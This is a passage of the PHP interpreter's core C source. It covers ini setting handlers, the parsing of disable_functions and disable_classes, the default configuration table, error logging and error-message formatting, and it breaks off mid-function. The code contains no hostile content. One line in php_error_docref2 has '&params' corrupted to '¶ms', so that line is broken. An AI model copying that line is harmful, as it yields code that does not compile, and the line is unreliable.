#include "ext/standard/php_standard.h"
#include "ext/standard/php_string.h"
#include "ext/date/php_date.h"
#include "php_variables.h"
#include "ext/standard/credits.h"
#ifdef PHP_WIN32
#include <io.h>
#include "win32/php_registry.h"
#include "ext/standard/flock_compat.h"
#endif
#include "php_syslog.h"
#include "Zend/zend_exceptions.h"
#if PHP_SIGCHILD
#include <sys/types.h>
#include <sys/wait.h>
#endif
#include "zend_compile.h"
#include "zend_execute.h"
#include "zend_highlight.h"
#include "zend_indent.h"
#include "zend_extensions.h"
#include "zend_ini.h"
#include "zend_dtrace.h"
#include "php_content_types.h"
#include "php_ticks.h"
#include "php_streams.h"
#include "php_open_temporary_file.h"
#include "SAPI.h"
#include "rfc1867.h"
#if HAVE_MMAP || defined(PHP_WIN32)
# if HAVE_UNISTD_H
# include <unistd.h>
# if defined(_SC_PAGESIZE)
# define REAL_PAGE_SIZE sysconf(_SC_PAGESIZE);
# elif defined(_SC_PAGE_SIZE)
# define REAL_PAGE_SIZE sysconf(_SC_PAGE_SIZE);
# endif
# endif
# if HAVE_SYS_MMAN_H
# include <sys/mman.h>
# endif
# ifndef REAL_PAGE_SIZE
# ifdef PAGE_SIZE
# define REAL_PAGE_SIZE PAGE_SIZE
# else
# define REAL_PAGE_SIZE 4096
# endif
# endif
#endif
/* }}} */
#ifndef S_ISREG
#define S_ISREG(mode) (((mode) & S_IFMT) == S_IFREG)
#endif
PHPAPI int (*php_register_internal_extensions_func)(void) = php_register_internal_extensions;
#ifndef ZTS
php_core_globals core_globals;
#else
PHPAPI int core_globals_id;
#endif
#ifdef PHP_WIN32
#include "win32_internal_function_disabled.h"
static int php_win32_disable_functions(void)
{
int i;
if (EG(windows_version_info).dwMajorVersion < 5) {
for (i = 0; i < function_name_cnt_5; i++) {
if (zend_hash_str_del(CG(function_table), function_name_5[i], strlen(function_name_5[i]))==FAILURE) {
php_printf("Unable to disable function '%s'\n", function_name_5[i]);
return FAILURE;
}
}
}
if (EG(windows_version_info).dwMajorVersion < 6) {
for (i = 0; i < function_name_cnt_6; i++) {
if (zend_hash_str_del(CG(function_table), function_name_6[i], strlen(function_name_6[i]))==FAILURE) {
php_printf("Unable to disable function '%s'\n", function_name_6[i]);
return FAILURE;
}
}
}
return SUCCESS;
}
#endif
#define SAFE_FILENAME(f) ((f)?(f):"-")
/* {{{ PHP_INI_MH
*/
static PHP_INI_MH(OnSetPrecision)
{
zend_long i;
ZEND_ATOL(i, new_value->val);
if (i >= 0) {
EG(precision) = i;
return SUCCESS;
} else {
return FAILURE;
}
}
/* }}} */
/* {{{ PHP_INI_MH
*/
static PHP_INI_MH(OnChangeMemoryLimit)
{
if (new_value) {
PG(memory_limit) = zend_atol(new_value->val, (int)new_value->len);
} else {
PG(memory_limit) = 1<<30; /* effectively, no limit */
}
return zend_set_memory_limit(PG(memory_limit));
}
/* }}} */
/* {{{ php_disable_functions
*/
static void php_disable_functions(void)
{
char *s = NULL, *e;
if (!*(INI_STR("disable_functions"))) {
return;
}
e = PG(disable_functions) = strdup(INI_STR("disable_functions"));
if (e == NULL) {
return;
}
while (*e) {
switch (*e) {
case ' ':
case ',':
if (s) {
*e = '\0';
zend_disable_function(s, e-s);
s = NULL;
}
break;
default:
if (!s) {
s = e;
}
break;
}
e++;
}
if (s) {
zend_disable_function(s, e-s);
}
}
/* }}} */
/* {{{ php_disable_classes
*/
static void php_disable_classes(void)
{
char *s = NULL, *e;
if (!*(INI_STR("disable_classes"))) {
return;
}
e = PG(disable_classes) = strdup(INI_STR("disable_classes"));
while (*e) {
switch (*e) {
case ' ':
case ',':
if (s) {
*e = '\0';
zend_disable_class(s, e-s);
s = NULL;
}
break;
default:
if (!s) {
s = e;
}
break;
}
e++;
}
if (s) {
zend_disable_class(s, e-s);
}
}
/* }}} */
/* {{{ php_binary_init
*/
static void php_binary_init(void)
{
char *binary_location;
#ifdef PHP_WIN32
binary_location = (char *)malloc(MAXPATHLEN);
if (GetModuleFileName(0, binary_location, MAXPATHLEN) == 0) {
free(binary_location);
PG(php_binary) = NULL;
}
#else
if (sapi_module.executable_location) {
binary_location = (char *)malloc(MAXPATHLEN);
if (!strchr(sapi_module.executable_location, '/')) {
char *envpath, *path;
int found = 0;
if ((envpath = getenv("PATH")) != NULL) {
char *search_dir, search_path[MAXPATHLEN];
char *last = NULL;
zend_stat_t s;
path = estrdup(envpath);
search_dir = php_strtok_r(path, ":", &last);
while (search_dir) {
snprintf(search_path, MAXPATHLEN, "%s/%s", search_dir, sapi_module.executable_location);
if (VCWD_REALPATH(search_path, binary_location) && !VCWD_ACCESS(binary_location, X_OK) && VCWD_STAT(binary_location, &s) == 0 && S_ISREG(s.st_mode)) {
found = 1;
break;
}
search_dir = php_strtok_r(NULL, ":", &last);
}
efree(path);
}
if (!found) {
free(binary_location);
binary_location = NULL;
}
} else if (!VCWD_REALPATH(sapi_module.executable_location, binary_location) || VCWD_ACCESS(binary_location, X_OK)) {
free(binary_location);
binary_location = NULL;
}
} else {
binary_location = NULL;
}
#endif
PG(php_binary) = binary_location;
}
/* }}} */
/* {{{ PHP_INI_MH
*/
static PHP_INI_MH(OnUpdateTimeout)
{
if (stage==PHP_INI_STAGE_STARTUP) {
/* Don't set a timeout on startup, only per-request */
ZEND_ATOL(EG(timeout_seconds), new_value->val);
return SUCCESS;
}
zend_unset_timeout();
ZEND_ATOL(EG(timeout_seconds), new_value->val);
zend_set_timeout(EG(timeout_seconds), 0);
return SUCCESS;
}
/* }}} */
/* {{{ php_get_display_errors_mode() helper function
*/
static int php_get_display_errors_mode(char *value, int value_length)
{
int mode;
if (!value) {
return PHP_DISPLAY_ERRORS_STDOUT;
}
if (value_length == 2 && !strcasecmp("on", value)) {
mode = PHP_DISPLAY_ERRORS_STDOUT;
} else if (value_length == 3 && !strcasecmp("yes", value)) {
mode = PHP_DISPLAY_ERRORS_STDOUT;
} else if (value_length == 4 && !strcasecmp("true", value)) {
mode = PHP_DISPLAY_ERRORS_STDOUT;
} else if (value_length == 6 && !strcasecmp(value, "stderr")) {
mode = PHP_DISPLAY_ERRORS_STDERR;
} else if (value_length == 6 && !strcasecmp(value, "stdout")) {
mode = PHP_DISPLAY_ERRORS_STDOUT;
} else {
ZEND_ATOL(mode, value);
if (mode && mode != PHP_DISPLAY_ERRORS_STDOUT && mode != PHP_DISPLAY_ERRORS_STDERR) {
mode = PHP_DISPLAY_ERRORS_STDOUT;
}
}
return mode;
}
/* }}} */
/* {{{ PHP_INI_MH
*/
static PHP_INI_MH(OnUpdateDisplayErrors)
{
PG(display_errors) = (zend_bool) php_get_display_errors_mode(new_value->val, (int)new_value->len);
return SUCCESS;
}
/* }}} */
/* {{{ PHP_INI_DISP
*/
static PHP_INI_DISP(display_errors_mode)
{
int mode, tmp_value_length, cgi_or_cli;
char *tmp_value;
if (type == ZEND_INI_DISPLAY_ORIG && ini_entry->modified) {
tmp_value = (ini_entry->orig_value ? ini_entry->orig_value->val : NULL );
tmp_value_length = (int)(ini_entry->orig_value? ini_entry->orig_value->len : 0);
} else if (ini_entry->value) {
tmp_value = ini_entry->value->val;
tmp_value_length = (int)ini_entry->value->len;
} else {
tmp_value = NULL;
tmp_value_length = 0;
}
mode = php_get_display_errors_mode(tmp_value, tmp_value_length);
/* Display 'On' for other SAPIs instead of STDOUT or STDERR */
cgi_or_cli = (!strcmp(sapi_module.name, "cli") || !strcmp(sapi_module.name, "cgi"));
switch (mode) {
case PHP_DISPLAY_ERRORS_STDERR:
if (cgi_or_cli ) {
PUTS("STDERR");
} else {
PUTS("On");
}
break;
case PHP_DISPLAY_ERRORS_STDOUT:
if (cgi_or_cli ) {
PUTS("STDOUT");
} else {
PUTS("On");
}
break;
default:
PUTS("Off");
break;
}
}
/* }}} */
/* {{{ PHP_INI_MH
*/
static PHP_INI_MH(OnUpdateInternalEncoding)
{
if (new_value) {
OnUpdateString(entry, new_value, mh_arg1, mh_arg2, mh_arg3, stage);
}
return SUCCESS;
}
/* }}} */
/* {{{ PHP_INI_MH
*/
static PHP_INI_MH(OnUpdateInputEncoding)
{
if (new_value) {
OnUpdateString(entry, new_value, mh_arg1, mh_arg2, mh_arg3, stage);
}
return SUCCESS;
}
/* }}} */
/* {{{ PHP_INI_MH
*/
static PHP_INI_MH(OnUpdateOutputEncoding)
{
if (new_value) {
OnUpdateString(entry, new_value, mh_arg1, mh_arg2, mh_arg3, stage);
}
return SUCCESS;
}
/* }}} */
/* {{{ PHP_INI_MH
*/
static PHP_INI_MH(OnUpdateErrorLog)
{
/* Only do the safemode/open_basedir check at runtime */
if ((stage == PHP_INI_STAGE_RUNTIME || stage == PHP_INI_STAGE_HTACCESS) && new_value && strcmp(new_value->val, "syslog")) {
if (PG(open_basedir) && php_check_open_basedir(new_value->val)) {
return FAILURE;
}
}
OnUpdateString(entry, new_value, mh_arg1, mh_arg2, mh_arg3, stage);
return SUCCESS;
}
/* }}} */
/* {{{ PHP_INI_MH
*/
static PHP_INI_MH(OnUpdateMailLog)
{
/* Only do the safemode/open_basedir check at runtime */
if ((stage == PHP_INI_STAGE_RUNTIME || stage == PHP_INI_STAGE_HTACCESS) && new_value) {
if (PG(open_basedir) && php_check_open_basedir(new_value->val)) {
return FAILURE;
}
}
OnUpdateString(entry, new_value, mh_arg1, mh_arg2, mh_arg3, stage);
return SUCCESS;
}
/* }}} */
/* {{{ PHP_INI_MH
*/
static PHP_INI_MH(OnChangeMailForceExtra)
{
/* Don't allow changing it in htaccess */
if (stage == PHP_INI_STAGE_HTACCESS) {
return FAILURE;
}
return SUCCESS;
}
/* }}} */
/* defined in browscap.c */
PHP_INI_MH(OnChangeBrowscap);
/* Need to be read from the environment (?):
* PHP_AUTO_PREPEND_FILE
* PHP_AUTO_APPEND_FILE
* PHP_DOCUMENT_ROOT
* PHP_USER_DIR
* PHP_INCLUDE_PATH
*/
/* Windows and Netware use the internal mail */
#if defined(PHP_WIN32) || defined(NETWARE)
# define DEFAULT_SENDMAIL_PATH NULL
#elif defined(PHP_PROG_SENDMAIL)
# define DEFAULT_SENDMAIL_PATH PHP_PROG_SENDMAIL " -t -i "
#else
# define DEFAULT_SENDMAIL_PATH "/usr/sbin/sendmail -t -i"
#endif
/* {{{ PHP_INI
*/
PHP_INI_BEGIN()
PHP_INI_ENTRY_EX("highlight.comment", HL_COMMENT_COLOR, PHP_INI_ALL, NULL, php_ini_color_displayer_cb)
PHP_INI_ENTRY_EX("highlight.default", HL_DEFAULT_COLOR, PHP_INI_ALL, NULL, php_ini_color_displayer_cb)
PHP_INI_ENTRY_EX("highlight.html", HL_HTML_COLOR, PHP_INI_ALL, NULL, php_ini_color_displayer_cb)
PHP_INI_ENTRY_EX("highlight.keyword", HL_KEYWORD_COLOR, PHP_INI_ALL, NULL, php_ini_color_displayer_cb)
PHP_INI_ENTRY_EX("highlight.string", HL_STRING_COLOR, PHP_INI_ALL, NULL, php_ini_color_displayer_cb)
STD_PHP_INI_ENTRY_EX("display_errors", "1", PHP_INI_ALL, OnUpdateDisplayErrors, display_errors, php_core_globals, core_globals, display_errors_mode)
STD_PHP_INI_BOOLEAN("display_startup_errors", "0", PHP_INI_ALL, OnUpdateBool, display_startup_errors, php_core_globals, core_globals)
STD_PHP_INI_BOOLEAN("enable_dl", "1", PHP_INI_SYSTEM, OnUpdateBool, enable_dl, php_core_globals, core_globals)
STD_PHP_INI_BOOLEAN("expose_php", "1", PHP_INI_SYSTEM, OnUpdateBool, expose_php, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("docref_root", "", PHP_INI_ALL, OnUpdateString, docref_root, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("docref_ext", "", PHP_INI_ALL, OnUpdateString, docref_ext, php_core_globals, core_globals)
STD_PHP_INI_BOOLEAN("html_errors", "1", PHP_INI_ALL, OnUpdateBool, html_errors, php_core_globals, core_globals)
STD_PHP_INI_BOOLEAN("xmlrpc_errors", "0", PHP_INI_SYSTEM, OnUpdateBool, xmlrpc_errors, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("xmlrpc_error_number", "0", PHP_INI_ALL, OnUpdateLong, xmlrpc_error_number, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("max_input_time", "-1", PHP_INI_SYSTEM|PHP_INI_PERDIR, OnUpdateLong, max_input_time, php_core_globals, core_globals)
STD_PHP_INI_BOOLEAN("ignore_user_abort", "0", PHP_INI_ALL, OnUpdateBool, ignore_user_abort, php_core_globals, core_globals)
STD_PHP_INI_BOOLEAN("implicit_flush", "0", PHP_INI_ALL, OnUpdateBool, implicit_flush, php_core_globals, core_globals)
STD_PHP_INI_BOOLEAN("log_errors", "0", PHP_INI_ALL, OnUpdateBool, log_errors, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("log_errors_max_len", "1024", PHP_INI_ALL, OnUpdateLong, log_errors_max_len, php_core_globals, core_globals)
STD_PHP_INI_BOOLEAN("ignore_repeated_errors", "0", PHP_INI_ALL, OnUpdateBool, ignore_repeated_errors, php_core_globals, core_globals)
STD_PHP_INI_BOOLEAN("ignore_repeated_source", "0", PHP_INI_ALL, OnUpdateBool, ignore_repeated_source, php_core_globals, core_globals)
STD_PHP_INI_BOOLEAN("report_memleaks", "1", PHP_INI_ALL, OnUpdateBool, report_memleaks, php_core_globals, core_globals)
STD_PHP_INI_BOOLEAN("report_zend_debug", "1", PHP_INI_ALL, OnUpdateBool, report_zend_debug, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("output_buffering", "0", PHP_INI_PERDIR|PHP_INI_SYSTEM, OnUpdateLong, output_buffering, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("output_handler", NULL, PHP_INI_PERDIR|PHP_INI_SYSTEM, OnUpdateString, output_handler, php_core_globals, core_globals)
STD_PHP_INI_BOOLEAN("register_argc_argv", "1", PHP_INI_PERDIR|PHP_INI_SYSTEM, OnUpdateBool, register_argc_argv, php_core_globals, core_globals)
STD_PHP_INI_BOOLEAN("auto_globals_jit", "1", PHP_INI_PERDIR|PHP_INI_SYSTEM, OnUpdateBool, auto_globals_jit, php_core_globals, core_globals)
STD_PHP_INI_BOOLEAN("short_open_tag", DEFAULT_SHORT_OPEN_TAG, PHP_INI_SYSTEM|PHP_INI_PERDIR, OnUpdateBool, short_tags, zend_compiler_globals, compiler_globals)
STD_PHP_INI_BOOLEAN("sql.safe_mode", "0", PHP_INI_SYSTEM, OnUpdateBool, sql_safe_mode, php_core_globals, core_globals)
STD_PHP_INI_BOOLEAN("track_errors", "0", PHP_INI_ALL, OnUpdateBool, track_errors, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("unserialize_callback_func", NULL, PHP_INI_ALL, OnUpdateString, unserialize_callback_func, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("serialize_precision", "17", PHP_INI_ALL, OnUpdateLongGEZero, serialize_precision, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("arg_separator.output", "&", PHP_INI_ALL, OnUpdateStringUnempty, arg_separator.output, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("arg_separator.input", "&", PHP_INI_SYSTEM|PHP_INI_PERDIR, OnUpdateStringUnempty, arg_separator.input, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("auto_append_file", NULL, PHP_INI_SYSTEM|PHP_INI_PERDIR, OnUpdateString, auto_append_file, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("auto_prepend_file", NULL, PHP_INI_SYSTEM|PHP_INI_PERDIR, OnUpdateString, auto_prepend_file, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("doc_root", NULL, PHP_INI_SYSTEM, OnUpdateStringUnempty, doc_root, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("default_charset", PHP_DEFAULT_CHARSET, PHP_INI_ALL, OnUpdateString, default_charset, sapi_globals_struct, sapi_globals)
STD_PHP_INI_ENTRY("default_mimetype", SAPI_DEFAULT_MIMETYPE, PHP_INI_ALL, OnUpdateString, default_mimetype, sapi_globals_struct, sapi_globals)
STD_PHP_INI_ENTRY("internal_encoding", NULL, PHP_INI_ALL, OnUpdateInternalEncoding, internal_encoding, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("input_encoding", NULL, PHP_INI_ALL, OnUpdateInputEncoding, input_encoding, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("output_encoding", NULL, PHP_INI_ALL, OnUpdateOutputEncoding, output_encoding, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("error_log", NULL, PHP_INI_ALL, OnUpdateErrorLog, error_log, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("extension_dir", PHP_EXTENSION_DIR, PHP_INI_SYSTEM, OnUpdateStringUnempty, extension_dir, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("sys_temp_dir", NULL, PHP_INI_SYSTEM, OnUpdateStringUnempty, sys_temp_dir, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("include_path", PHP_INCLUDE_PATH, PHP_INI_ALL, OnUpdateStringUnempty, include_path, php_core_globals, core_globals)
PHP_INI_ENTRY("max_execution_time", "30", PHP_INI_ALL, OnUpdateTimeout)
STD_PHP_INI_ENTRY("open_basedir", NULL, PHP_INI_ALL, OnUpdateBaseDir, open_basedir, php_core_globals, core_globals)
STD_PHP_INI_BOOLEAN("file_uploads", "1", PHP_INI_SYSTEM, OnUpdateBool, file_uploads, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("upload_max_filesize", "2M", PHP_INI_SYSTEM|PHP_INI_PERDIR, OnUpdateLong, upload_max_filesize, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("post_max_size", "8M", PHP_INI_SYSTEM|PHP_INI_PERDIR, OnUpdateLong, post_max_size, sapi_globals_struct,sapi_globals)
STD_PHP_INI_ENTRY("upload_tmp_dir", NULL, PHP_INI_SYSTEM, OnUpdateStringUnempty, upload_tmp_dir, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("max_input_nesting_level", "64", PHP_INI_SYSTEM|PHP_INI_PERDIR, OnUpdateLongGEZero, max_input_nesting_level, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("max_input_vars", "1000", PHP_INI_SYSTEM|PHP_INI_PERDIR, OnUpdateLongGEZero, max_input_vars, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("user_dir", NULL, PHP_INI_SYSTEM, OnUpdateString, user_dir, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("variables_order", "EGPCS", PHP_INI_SYSTEM|PHP_INI_PERDIR, OnUpdateStringUnempty, variables_order, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("request_order", NULL, PHP_INI_SYSTEM|PHP_INI_PERDIR, OnUpdateString, request_order, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("error_append_string", NULL, PHP_INI_ALL, OnUpdateString, error_append_string, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("error_prepend_string", NULL, PHP_INI_ALL, OnUpdateString, error_prepend_string, php_core_globals, core_globals)
PHP_INI_ENTRY("SMTP", "localhost",PHP_INI_ALL, NULL)
PHP_INI_ENTRY("smtp_port", "25", PHP_INI_ALL, NULL)
STD_PHP_INI_BOOLEAN("mail.add_x_header", "0", PHP_INI_SYSTEM|PHP_INI_PERDIR, OnUpdateBool, mail_x_header, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("mail.log", NULL, PHP_INI_SYSTEM|PHP_INI_PERDIR, OnUpdateMailLog, mail_log, php_core_globals, core_globals)
PHP_INI_ENTRY("browscap", NULL, PHP_INI_SYSTEM, OnChangeBrowscap)
PHP_INI_ENTRY("memory_limit", "128M", PHP_INI_ALL, OnChangeMemoryLimit)
PHP_INI_ENTRY("precision", "14", PHP_INI_ALL, OnSetPrecision)
PHP_INI_ENTRY("sendmail_from", NULL, PHP_INI_ALL, NULL)
PHP_INI_ENTRY("sendmail_path", DEFAULT_SENDMAIL_PATH, PHP_INI_SYSTEM, NULL)
PHP_INI_ENTRY("mail.force_extra_parameters",NULL, PHP_INI_SYSTEM|PHP_INI_PERDIR, OnChangeMailForceExtra)
PHP_INI_ENTRY("disable_functions", "", PHP_INI_SYSTEM, NULL)
PHP_INI_ENTRY("disable_classes", "", PHP_INI_SYSTEM, NULL)
PHP_INI_ENTRY("max_file_uploads", "20", PHP_INI_SYSTEM|PHP_INI_PERDIR, NULL)
STD_PHP_INI_BOOLEAN("allow_url_fopen", "1", PHP_INI_SYSTEM, OnUpdateBool, allow_url_fopen, php_core_globals, core_globals)
STD_PHP_INI_BOOLEAN("allow_url_include", "0", PHP_INI_SYSTEM, OnUpdateBool, allow_url_include, php_core_globals, core_globals)
STD_PHP_INI_BOOLEAN("enable_post_data_reading", "1", PHP_INI_SYSTEM|PHP_INI_PERDIR, OnUpdateBool, enable_post_data_reading, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("realpath_cache_size", "16K", PHP_INI_SYSTEM, OnUpdateLong, realpath_cache_size_limit, virtual_cwd_globals, cwd_globals)
STD_PHP_INI_ENTRY("realpath_cache_ttl", "120", PHP_INI_SYSTEM, OnUpdateLong, realpath_cache_ttl, virtual_cwd_globals, cwd_globals)
STD_PHP_INI_ENTRY("user_ini.filename", ".user.ini", PHP_INI_SYSTEM, OnUpdateString, user_ini_filename, php_core_globals, core_globals)
STD_PHP_INI_ENTRY("user_ini.cache_ttl", "300", PHP_INI_SYSTEM, OnUpdateLong, user_ini_cache_ttl, php_core_globals, core_globals)
STD_PHP_INI_BOOLEAN("exit_on_timeout", "0", PHP_INI_ALL, OnUpdateBool, exit_on_timeout, php_core_globals, core_globals)
#ifdef PHP_WIN32
STD_PHP_INI_BOOLEAN("windows.show_crt_warning", "0", PHP_INI_ALL, OnUpdateBool, windows_show_crt_warning, php_core_globals, core_globals)
#endif
PHP_INI_END()
/* }}} */
/* True globals (no need for thread safety */
/* But don't make them a single int bitfield */
static int module_initialized = 0;
static int module_startup = 1;
static int module_shutdown = 0;
/* {{{ php_during_module_startup */
static int php_during_module_startup(void)
{
return module_startup;
}
/* }}} */
/* {{{ php_during_module_shutdown */
static int php_during_module_shutdown(void)
{
return module_shutdown;
}
/* }}} */
/* {{{ php_get_module_initialized
*/
PHPAPI int php_get_module_initialized(void)
{
return module_initialized;
}
/* }}} */
/* {{{ php_log_err
*/
PHPAPI void php_log_err(char *log_message)
{
int fd = -1;
time_t error_time;
if (PG(in_error_log)) {
/* prevent recursive invocation */
return;
}
PG(in_error_log) = 1;
/* Try to use the specified logging location. */
if (PG(error_log) != NULL) {
#ifdef HAVE_SYSLOG_H
if (!strcmp(PG(error_log), "syslog")) {
php_syslog(LOG_NOTICE, "%s", log_message);
PG(in_error_log) = 0;
return;
}
#endif
fd = VCWD_OPEN_MODE(PG(error_log), O_CREAT | O_APPEND | O_WRONLY, 0644);
if (fd != -1) {
char *tmp;
size_t len;
zend_string *error_time_str;
time(&error_time);
#ifdef ZTS
if (!php_during_module_startup()) {
error_time_str = php_format_date("d-M-Y H:i:s e", 13, error_time, 1);
} else {
error_time_str = php_format_date("d-M-Y H:i:s e", 13, error_time, 0);
}
#else
error_time_str = php_format_date("d-M-Y H:i:s e", 13, error_time, 1);
#endif
len = spprintf(&tmp, 0, "[%s] %s%s", error_time_str->val, log_message, PHP_EOL);
#ifdef PHP_WIN32
php_flock(fd, 2);
/* XXX should eventually write in a loop if len > UINT_MAX */
php_ignore_value(write(fd, tmp, (unsigned)len));
#else
php_ignore_value(write(fd, tmp, len));
#endif
efree(tmp);
zend_string_free(error_time_str);
close(fd);
PG(in_error_log) = 0;
return;
}
}
/* Otherwise fall back to the default logging location, if we have one */
if (sapi_module.log_message) {
sapi_module.log_message(log_message);
}
PG(in_error_log) = 0;
}
/* }}} */
/* {{{ php_write
wrapper for modules to use PHPWRITE */
PHPAPI size_t php_write(void *buf, size_t size)
{
return PHPWRITE(buf, size);
}
/* }}} */
/* {{{ php_printf
*/
PHPAPI size_t php_printf(const char *format, ...)
{
va_list args;
size_t ret;
char *buffer;
size_t size;
va_start(args, format);
size = vspprintf(&buffer, 0, format, args);
ret = PHPWRITE(buffer, size);
efree(buffer);
va_end(args);
return ret;
}
/* }}} */
/* {{{ php_verror */
/* php_verror is called from php_error_docref<n> functions.
* Its purpose is to unify error messages and automatically generate clickable
* html error messages if correcponding ini setting (html_errors) is activated.
* See: CODING_STANDARDS for details.
*/
PHPAPI void php_verror(const char *docref, const char *params, int type, const char *format, va_list args)
{
zend_string *replace_buffer = NULL, *replace_origin = NULL;
char *buffer = NULL, *docref_buf = NULL, *target = NULL;
char *docref_target = "", *docref_root = "";
char *p;
int buffer_len = 0;
const char *space = "";
const char *class_name = "";
const char *function;
int origin_len;
char *origin;
char *message;
int is_function = 0;
/* get error text into buffer and escape for html if necessary */
buffer_len = (int)vspprintf(&buffer, 0, format, args);
if (PG(html_errors)) {
replace_buffer = php_escape_html_entities((unsigned char*)buffer, buffer_len, 0, ENT_COMPAT, NULL);
efree(buffer);
buffer = replace_buffer->val;
buffer_len = (int)replace_buffer->len;
}
/* which function caused the problem if any at all */
if (php_during_module_startup()) {
function = "PHP Startup";
} else if (php_during_module_shutdown()) {
function = "PHP Shutdown";
} else if (EG(current_execute_data) &&
EG(current_execute_data)->func &&
ZEND_USER_CODE(EG(current_execute_data)->func->common.type) &&
EG(current_execute_data)->opline &&
EG(current_execute_data)->opline->opcode == ZEND_INCLUDE_OR_EVAL
) {
switch (EG(current_execute_data)->opline->extended_value) {
case ZEND_EVAL:
function = "eval";
is_function = 1;
break;
case ZEND_INCLUDE:
function = "include";
is_function = 1;
break;
case ZEND_INCLUDE_ONCE:
function = "include_once";
is_function = 1;
break;
case ZEND_REQUIRE:
function = "require";
is_function = 1;
break;
case ZEND_REQUIRE_ONCE:
function = "require_once";
is_function = 1;
break;
default:
function = "Unknown";
}
} else {
function = get_active_function_name();
if (!function || !strlen(function)) {
function = "Unknown";
} else {
is_function = 1;
class_name = get_active_class_name(&space);
}
}
/* if we still have memory then format the origin */
if (is_function) {
origin_len = (int)spprintf(&origin, 0, "%s%s%s(%s)", class_name, space, function, params);
} else {
origin_len = (int)spprintf(&origin, 0, "%s", function);
}
if (PG(html_errors)) {
replace_origin = php_escape_html_entities((unsigned char*)origin, origin_len, 0, ENT_COMPAT, NULL);
efree(origin);
origin = replace_origin->val;
}
/* origin and buffer available, so lets come up with the error message */
if (docref && docref[0] == '#') {
docref_target = strchr(docref, '#');
docref = NULL;
}
/* no docref given but function is known (the default) */
if (!docref && is_function) {
int doclen;
while (*function == '_') {
function++;
}
if (space[0] == '\0') {
doclen = (int)spprintf(&docref_buf, 0, "function.%s", function);
} else {
doclen = (int)spprintf(&docref_buf, 0, "%s.%s", class_name, function);
}
while((p = strchr(docref_buf, '_')) != NULL) {
*p = '-';
}
docref = php_strtolower(docref_buf, doclen);
}
/* we have a docref for a function AND
* - we show errors in html mode AND
* - the user wants to see the links
*/
if (docref && is_function && PG(html_errors) && strlen(PG(docref_root))) {
if (strncmp(docref, "http://", 7)) {
/* We don't have 'http://' so we use docref_root */
char *ref; /* temp copy for duplicated docref */
docref_root = PG(docref_root);
ref = estrdup(docref);
if (docref_buf) {
efree(docref_buf);
}
docref_buf = ref;
/* strip of the target if any */
p = strrchr(ref, '#');
if (p) {
target = estrdup(p);
if (target) {
docref_target = target;
*p = '\0';
}
}
/* add the extension if it is set in ini */
if (PG(docref_ext) && strlen(PG(docref_ext))) {
spprintf(&docref_buf, 0, "%s%s", ref, PG(docref_ext));
efree(ref);
}
docref = docref_buf;
}
/* display html formatted or only show the additional links */
if (PG(html_errors)) {
spprintf(&message, 0, "%s [<a href='%s%s%s'>%s</a>]: %s", origin, docref_root, docref, docref_target, docref, buffer);
} else {
spprintf(&message, 0, "%s [%s%s%s]: %s", origin, docref_root, docref, docref_target, buffer);
}
if (target) {
efree(target);
}
} else {
spprintf(&message, 0, "%s: %s", origin, buffer);
}
if (replace_origin) {
zend_string_free(replace_origin);
} else {
efree(origin);
}
if (docref_buf) {
efree(docref_buf);
}
if (PG(track_errors) && module_initialized && EG(valid_symbol_table) &&
(Z_TYPE(EG(user_error_handler)) == IS_UNDEF || !(EG(user_error_handler_error_reporting) & type))) {
zval tmp;
ZVAL_STRINGL(&tmp, buffer, buffer_len);
if (EG(current_execute_data)) {
if (zend_set_local_var_str("php_errormsg", sizeof("php_errormsg")-1, &tmp, 0) == FAILURE) {
zval_ptr_dtor(&tmp);
}
} else {
zend_hash_str_update_ind(&EG(symbol_table), "php_errormsg", sizeof("php_errormsg")-1, &tmp);
}
}
if (replace_buffer) {
zend_string_free(replace_buffer);
} else {
efree(buffer);
}
php_error(type, "%s", message);
efree(message);
}
/* }}} */
/* {{{ php_error_docref0 */
/* See: CODING_STANDARDS for details. */
PHPAPI void php_error_docref0(const char *docref, int type, const char *format, ...)
{
va_list args;
va_start(args, format);
php_verror(docref, "", type, format, args);
va_end(args);
}
/* }}} */
/* {{{ php_error_docref1 */
/* See: CODING_STANDARDS for details. */
PHPAPI void php_error_docref1(const char *docref, const char *param1, int type, const char *format, ...)
{
va_list args;
va_start(args, format);
php_verror(docref, param1, type, format, args);
va_end(args);
}
/* }}} */
/* {{{ php_error_docref2 */
/* See: CODING_STANDARDS for details. */
PHPAPI void php_error_docref2(const char *docref, const char *param1, const char *param2, int type, const char *format, ...)
{
char *params;
va_list args;
spprintf(¶ms, 0, "%s,%s", param1, param2);
va_start(args, format);
php_verror(docref, params ? params : "...", type, format, args);
va_end(args);
if (params) {
efree(params);
}
}
/* }}} */
#ifdef PHP_WIN32
#define PHP_WIN32_ERROR_MSG_BUFFER_SIZE 512
PHPAPI void php_win32_docref2_from_error(DWORD error, const char *param1, const char *param2) {
if (error == 0) {
php_error_docref2(NULL, param1, param2, E_WARNING, "%s", strerror(errno));
} else {
